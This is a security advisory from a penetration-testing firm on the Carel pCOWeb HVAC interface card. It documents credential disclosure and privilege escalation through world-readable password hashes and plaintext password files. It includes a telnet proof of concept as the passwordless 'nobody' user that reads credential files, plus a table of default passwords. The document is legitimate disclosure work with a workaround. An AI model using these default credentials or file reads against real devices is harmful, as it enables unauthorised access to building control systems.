Advisory: Unsafe Storage of Credentials in Carel pCOWeb HVAC The Carel pCOWeb card stores password hashes in the file "/etc/passwd", allowing privilege escalation by authenticated users. Additionally, plaintext copies of the passwords are stored. Details ======= Product: HVAC units using the OEM Carel pCOWeb Ethernet Control Interface Affected Versions: "A 1.4.11 - B 1.4.2", possibly others Fixed Versions: product obsolete Vulnerability Type: Credential Disclosure / Privilege Escalation Security Risk: low Vendor URL: https://www.carel.com/product/pcoweb-card Vendor Status: notified / product obsolete Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-13 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "The pCOWeb card is used to interface the pCO Sistema to networks that use the HVAC protocols based on the Ethernet physical standard, such as BACnet IP, Modbus TCP/IP and SNMP. The card also features an integrated Web-Server, which both contains the HTML pages relating to the specific application and allows a browser to be used for remote system management." (from the vendor's homepage) It is used as an OEM module in several different HVAC systems and considered obsolete by the vendor. More Details ============ The Carel pCOWeb interface provides user accounts with different levels of privileges. Despite the different privileges, other users, even the user nobody, are able to read the file "/etc/passwd" which contains the hashed passwords for all user accounts, especially those with more privileges. Additionally, a plaintext copy of all passwords is stored in the file /usr/local/root/flash/etc/sysconfig/userspwd, which is accessible from the web interface at the URL http://192.168.0.1/config/pw_changeusers.html This allows attackers with knowledge of one user account password to gain knowledge of the other accounts passwords, possibly gaining more privileges. Proof of Concept ================ Apart from a web interface, the Carel pCOWeb card provides a telnet interface accessible using a variety of default passwords and, in some cases, the user "nobody" without password: ------------------------------------------------------------------------ $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. Linux 2.4.21-rmk1 (pCOWeb) (ttya0) pCOWeb login: nobody No directory /var/lib/nobody! Logging in with home = "/". Executing profile /usr/local/bin:/bin:/usr/bin [nobody@pCOWeb13:58:55 /]$ ls -la /etc/passwd -rw-r--r-- 1 root root 317 Jan 1 00:00 /etc/passwd [nobody@pCOWeb13:59:00 /]$ cat /etc/passwd root:o4jAwxNRjdSSk:0:0:root:/root:/bin/bash http::48:48:HTTP users:/usr/http/root:/bin/bash nobody::99:99:nobody:/var/lib/nobody:/bin/bash httpadmin:p4erNF6yyLx0U:200:200:httpadmin:/usr/local/root/http:/bin/bash carel:f4msfA.Ljf2Fo:500:500:carel:/home:/bin/bash guest:d4iIyYc5JrnxM:502:101:guest:/usr/bin:/bin/bash [nobody@pCOWeb13:59:32 /]$ cat /usr/local/root/admin/.htpasswd admin:7c3fxxrcHcwtc [nobody@pCOWeb13:59:33 /]$ ------------------------------------------------------------------------ The following table lists the cleartext passwords for above password hashes: username | password ---------------------- root | froot httpadmin | fhttpadm carel | fcarel guest | fguest nobody | (none) admin | fadmin The passwords for the useraccounts "root", "httpadmin", "carel" and "guest" are documented in section 9.7.2 of the user manual [0], warning users: "it is important to set a password other than the default "froot" to prevent potentially dangerous outside access." It is possible that these default credentials are covered in CVE-2019-13553. Depending on firmware version and/or OEM modifications, some versions additionally allow Telnet login without password with the username "nobody" while it is disabled for other versions. The password for the web interface user "admin" is documented in section 9.2.1 of the user manual [0]. Additionally, some versions were seen with additional user credentials stored in the directory provided for OEM modifications of the web interface, such as the username "reserved" with the password "freserve" in "/usr/local/root/flash/http/reserved/.htpasswd". Storing some of these passwords in plaintext is covered in CVE-2019-11369. However, while the above passwords are stored in hashed form, the web interface at http://192.168.0.1/config/pw_changeusers.html shows them in plaintext. A file containing the plaintext passwords can be found in the filesystem: ------------------------------------------------------------------------ [root@pCOWeb14:02:14 /]# cat /usr/local/root/flash/etc/sysconfig/userspwd PROOT=froot PHTTP=fhttpadmin PGUEST=fguest PCAREL=fcarel ------------------------------------------------------------------------ Workaround ========== Change all default passwords listed above and ensure the user "nobody" is disabled or has a password set. The Carel pCOWeb card should not be connected to networks accessible by untrusted users (compare advisory rt-sa-2019-014[1]). Fix === No updated firmware will be published for pCOWeb Cards, as they are obsolete since Dec 2017. A successor hardware with current firmware is available for OEM integrators. Security Risk ============= Attackers with knowledge of one set of user credentials to a Carel pCOWeb card could use the password hashes accessible to all users in "/etc/passwd" or the plaintext copies of the passwords to gain different privileges. Due to the necessity of access to credentials, this is considered to pose a low risk only. Timeline ======== 2019-07-17 Vulnerability identified 2019-08-03 Customer approved disclosure to vendor 2019-09-02 Vendor notified 2019-09-09 Vendor did not respond as promised 2019-09-17 Vendor could not be reached 2019-09-18 Vendor could not be reached 2019-09-18 Vendor could not be reached 2019-10-28 Advisory published due to publication of CVE-2019-13553 References ========== [0] https://www.carel.com/documents/10191/0/+030220471/9619472f-f1c0-4ec9-a151-120aaa5e479a?version=1.0 [1] https://www.redteam-pentesting.de/de/advisories/rt-sa-2019-014.txt RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen